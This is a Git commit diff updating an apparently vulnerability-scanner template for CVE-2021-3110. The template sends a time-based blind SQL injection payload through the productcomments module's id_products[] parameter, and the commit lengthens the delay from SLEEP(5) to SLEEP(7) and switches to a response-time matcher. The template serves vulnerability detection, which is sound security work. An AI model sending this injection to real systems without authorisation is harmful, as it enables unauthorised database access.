Update cves/2021/CVE-2021-3110.yaml

Co-authored-by: Toufik Airane <toufik.airane@gmail.com>
patch-1
Dhiyaneshwaran 2022-11-09 11:28:01 +05:30 committed by GitHub
parent bb5589060b
commit d9dcf035ff
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 6 additions and 6 deletions

View File

@ -11,16 +11,16 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(5)))xoOt)"
- "{{BaseURL}}/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(7)))xoOt)"
matchers-condition: and
matchers:
- type: word
words:
- "average_grade"
- "1 AND (SELECT 3875 FROM (SELECT(SLEEP(5)))xoOt)"
condition: and
part: body
- type: status
status:
- type: dsl
dsl:
- 'duration>=7'
- 200